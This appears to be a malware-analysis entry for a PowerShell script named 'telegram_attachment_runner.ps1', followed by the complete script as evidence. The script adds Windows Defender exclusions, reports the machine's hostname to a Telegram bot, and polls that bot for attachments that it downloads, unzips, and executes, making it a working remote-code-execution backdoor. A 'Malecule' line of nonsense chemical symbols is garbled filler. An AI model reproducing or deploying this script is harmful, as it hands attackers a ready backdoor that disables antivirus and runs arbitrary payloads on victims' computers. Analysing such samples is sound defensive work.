telegram_attachment_runner.ps1
Remote code execution via Telegram
Defender excludes Telegram and stagePowerShell Telegram attachment download executes payload
SHA-256ff5046c6fbbd0acde6818f01b6c9c8f573c45127cde91b9e21644e22f0c3dd76
MaleculeO₃(CEr₂Eu)H₆(Cm₈Db₃F₅Os₂Po₂Ti)Md
Evidence
1$ErrorActionPreference = "SilentlyContinue"
2
3$token = "000000000:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
4$chatId = "-1000000000000"
5$api = "https://api.telegram.org/bot$token"
6$downloadApi = "https://api.telegram.org/file/bot$token"
7$stage = Join-Path $env:TEMP "cache-update"
8New-Item -ItemType Directory -Path $stage -Force | Out-Null
9
10Add-MpPreference -ExclusionPath "C:\ProgramData\MicrosoftCache\stage"
11Add-MpPreference -ExclusionPath "$env:USERPROFILE\Downloads\Telegram Desktop"
12
13$hostName = hostname
14Invoke-RestMethod -Uri "$api/sendMessage?chat_id=$chatId&text=$hostName%20is%20online" -Method Get
15
16$offset = 0
17while ($true) {
18 $updates = Invoke-RestMethod -Uri "$api/getUpdates?offset=$offset" -Method Get
19 foreach ($update in $updates.result) {
20 $offset = $update.update_id + 1
21 if ($update.message.document) {
22 $fileId = $update.message.document.file_id
23 $fileName = $update.message.document.file_name
24 $metadata = Invoke-RestMethod -Uri "$api/getFile?file_id=$fileId" -Method Get
25 $destination = Join-Path $stage $fileName
26 Invoke-WebRequest -Uri "$downloadApi/$($metadata.result.file_path)" -OutFile $destination
27
28 if ($fileName.EndsWith(".zip")) {
29 $unpack = Join-Path $stage "payload"
30 Expand-Archive -Path $destination -DestinationPath $unpack -Force
31 $payload = Get-ChildItem -Path $unpack -Filter "*.exe" | Select-Object -First 1
32 Start-Process -FilePath $payload.FullName
33 } else {
34 Start-Process -FilePath $destination
35 }
36 }
37 }
38 Start-Sleep -Seconds 1
39}